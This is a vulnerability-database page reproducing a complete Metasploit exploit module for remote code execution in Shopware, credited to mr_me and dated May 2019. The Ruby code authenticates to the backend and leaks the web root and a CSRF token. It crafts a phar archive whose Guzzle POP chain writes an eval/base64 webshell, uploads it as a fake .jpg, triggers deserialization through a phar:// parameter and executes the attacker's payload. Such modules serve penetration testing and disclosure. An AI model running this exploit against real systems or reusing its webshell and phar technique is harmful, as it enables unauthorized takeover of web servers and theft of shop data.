Lucene search
K

Shopware createInstanceFromNamedArguments PHP Object Instantiation

🗓️ 22 May 2019 00:00:00Reported by mr_meType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 183 Views

Shopware createInstanceFromNamedArguments PHP Object Instantiation RCE. Authentication bypass leads to RCE by deserializing arbitrary payload and writing webshell to target syste

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => "Shopware createInstanceFromNamedArguments PHP Object Instantiation RCE",  
'Description' => %q(  
This module exploits a php object instantiation vulnerability that can lead to RCE in  
Shopware. An authenticated backend user could exploit the vulnerability.  
  
The vulnerability exists in the createInstanceFromNamedArguments function, where the code  
insufficiently performs whitelist check which can be bypassed to trigger an object injection.  
  
An attacker can leverage this to deserialize an arbitrary payload and write a webshell to  
the target system, resulting in remote code execution.  
  
Tested on Shopware git branches 5.6, 5.5, 5.4, 5.3.  
),  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Karim Ouerghemmi', # original discovery  
'mr_me <[email protected]>', # patch bypass, rce & msf module  
],  
'References' =>  
[  
['CVE', '2017-18357'], # not really because we bypassed this patch  
['URL', 'https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/'] # initial writeup w/ limited exploitation  
],  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [['Automatic', {}]],  
'Privileged' => false,  
'DisclosureDate' => "May 09 2019",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, "Base Shopware path", '/']),  
OptString.new('USERNAME', [true, "Backend username to authenticate with", 'demo']),  
OptString.new('PASSWORD', [false, "Backend password to authenticate with", 'demo'])  
]  
)  
end  
  
def do_login  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'backend', 'Login', 'login'),  
'vars_post' => {  
'username' => datastore['username'],  
'password' => datastore['password'],  
}  
)  
unless res  
fail_with(Failure::Unreachable, "Connection failed")  
end  
if res.code == 200  
cookie = res.get_cookies.scan(%r{(SHOPWAREBACKEND=.{26};)}).flatten.first  
if res.nil?  
return  
end  
return cookie  
end  
return  
end  
  
def get_webroot(cookie)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'backend', 'systeminfo', 'info'),  
'cookie' => cookie  
)  
unless res  
fail_with(Failure::Unreachable, "Connection failed")  
end  
if res.code == 200  
return res.body.scan(%r{DOCUMENT_ROOT </td><td class="v">(.*) </td></tr>}).flatten.first  
end  
return  
end  
  
def leak_csrf(cookie)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'backend', 'CSRFToken', 'generate'),  
'cookie' => cookie  
)  
unless res  
fail_with(Failure::Unreachable, "Connection failed")  
end  
if res.code == 200  
if res.headers.include?('X-Csrf-Token')  
return res.headers['X-Csrf-Token']  
end  
end  
return  
end  
  
def generate_phar(webroot)  
php = Rex::FileUtils.normalize_unix_path("#{webroot}#{target_uri.path}media/#{@shll_bd}.php")  
register_file_for_cleanup("#{@shll_bd}.php")  
pop = "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":2:{s:41:\"\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename\";"  
pop << "s:#{php.length}:\"#{php}\";"  
pop << "s:36:\"\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies\";"  
pop << "a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\x00GuzzleHttp\\Cookie\\SetCookie\x00data\";"  
pop << "a:3:{s:5:\"Value\";"  
pop << "s:48:\"<?php eval(base64_decode($_SERVER[HTTP_#{@header}])); ?>\";"  
pop << "s:7:\"Expires\";"  
pop << "b:1;"  
pop << "s:7:\"Discard\";"  
pop << "b:0;}}}}"  
file = Rex::Text.rand_text_alpha_lower(8)  
stub = "<?php __HALT_COMPILER(); ?>\r\n"  
file_contents = Rex::Text.rand_text_alpha_lower(20)  
file_crc32 = Zlib::crc32(file_contents) & 0xffffffff  
manifest_len = 40 + pop.length + file.length  
phar = stub  
phar << [manifest_len].pack('V') # length of manifest in bytes  
phar << [0x1].pack('V') # number of files in the phar  
phar << [0x11].pack('v') # api version of the phar manifest  
phar << [0x10000].pack('V') # global phar bitmapped flags  
phar << [0x0].pack('V') # length of phar alias  
phar << [pop.length].pack('V') # length of phar metadata  
phar << pop # pop chain  
phar << [file.length].pack('V') # length of filename in the archive  
phar << file # filename  
phar << [file_contents.length].pack('V') # length of the uncompressed file contents  
phar << [0x0].pack('V') # unix timestamp of file set to Jan 01 1970.  
phar << [file_contents.length].pack('V') # length of the compressed file contents  
phar << [file_crc32].pack('V') # crc32 checksum of un-compressed file contents  
phar << [0x1b6].pack('V') # bit-mapped file-specific flags  
phar << [0x0].pack('V') # serialized File Meta-data length  
phar << file_contents # serialized File Meta-data  
phar << [Rex::Text.sha1(phar)].pack('H*') # signature  
phar << [0x2].pack('V') # signiture type  
phar << "GBMB" # signature presence  
return phar  
end  
  
def upload(cookie, csrf_token, phar)  
data = Rex::MIME::Message.new  
data.add_part(phar, Rex::Text.rand_text_alpha_lower(8), nil, "name=\"fileId\"; filename=\"#{@phar_bd}.jpg\"")  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'backend', 'mediaManager', 'upload'),  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => data.to_s,  
'cookie' => cookie,  
'headers' => {  
'X-CSRF-Token' => csrf_token  
}  
)  
unless res  
fail_with(Failure::Unreachable, "Connection failed")  
end  
if res.code == 200 && res.body =~ /Image is not in a recognized format/i  
return true  
end  
return  
end  
  
def leak_upload(cookie, csrf_token)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'backend', 'MediaManager', 'getAlbumMedia'),  
'cookie' => cookie,  
'headers' => {  
'X-CSRF-Token' => csrf_token  
}  
)  
unless res  
fail_with(Failure::Unreachable, "Connection failed")  
end  
if res.code == 200 && res.body =~ /#{@phar_bd}.jpg/i  
bd_path = $1 if res.body =~ /media\\\/image\\\/(.{10})\\\/#{@phar_bd}/  
register_file_for_cleanup("image/#{bd_path.gsub("\\", "")}/#{@phar_bd}.jpg")  
return "media/image/#{bd_path.gsub("\\", "")}/#{@phar_bd}.jpg"  
end  
return  
end  
  
def trigger_bug(cookie, csrf_token, upload_path)  
sort = {  
"Shopware_Components_CsvIterator" => {  
"filename" => "phar://#{upload_path}",  
"delimiter" => "",  
"header" => ""  
}  
}  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'backend', 'ProductStream', 'loadPreview'),  
'cookie' => cookie,  
'headers' => {  
'X-CSRF-Token' => csrf_token  
},  
'vars_get' => { 'sort' => sort.to_json }  
)  
unless res  
fail_with(Failure::Unreachable, "Connection failed")  
end  
return  
end  
  
def exec_code  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "media", "#{@shll_bd}.php"),  
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"  
}, 1)  
end  
  
def check  
cookie = do_login  
if cookie.nil?  
vprint_error "Authentication was unsuccessful"  
return Exploit::CheckCode::Safe  
end  
csrf_token = leak_csrf(cookie)  
if csrf_token.nil?  
vprint_error "Unable to leak the CSRF token"  
return Exploit::CheckCode::Safe  
end  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'backend', 'ProductStream', 'loadPreview'),  
'cookie' => cookie,  
'headers' => { 'X-CSRF-Token' => csrf_token }  
)  
if res.code == 200 && res.body =~ /Shop not found/i  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
unless Exploit::CheckCode::Vulnerable == check  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')  
end  
@phar_bd = Rex::Text.rand_text_alpha_lower(8)  
@shll_bd = Rex::Text.rand_text_alpha_lower(8)  
@header = Rex::Text.rand_text_alpha_upper(2)  
cookie = do_login  
if cookie.nil?  
fail_with(Failure::NoAccess, "Authentication was unsuccessful")  
end  
print_good("Stage 1 - logged in with #{datastore['username']}: #{cookie}")  
web_root = get_webroot(cookie)  
if web_root.nil?  
fail_with(Failure::Unknown, "Unable to leak the webroot")  
end  
print_good("Stage 2 - leaked the web root: #{web_root}")  
csrf_token = leak_csrf(cookie)  
if csrf_token.nil?  
fail_with(Failure::Unknown, "Unable to leak the CSRF token")  
end  
print_good("Stage 3 - leaked the CSRF token: #{csrf_token}")  
phar = generate_phar(web_root)  
print_good("Stage 4 - generated our phar")  
if !upload(cookie, csrf_token, phar)  
fail_with(Failure::Unknown, "Unable to upload phar archive")  
end  
print_good("Stage 5 - uploaded phar")  
upload_path = leak_upload(cookie, csrf_token)  
if upload_path.nil?  
fail_with(Failure::Unknown, "Cannot find phar archive")  
end  
print_good("Stage 6 - leaked phar location: #{upload_path}")  
trigger_bug(cookie, csrf_token, upload_path)  
print_good("Stage 7 - triggered object instantiation!")  
exec_code  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation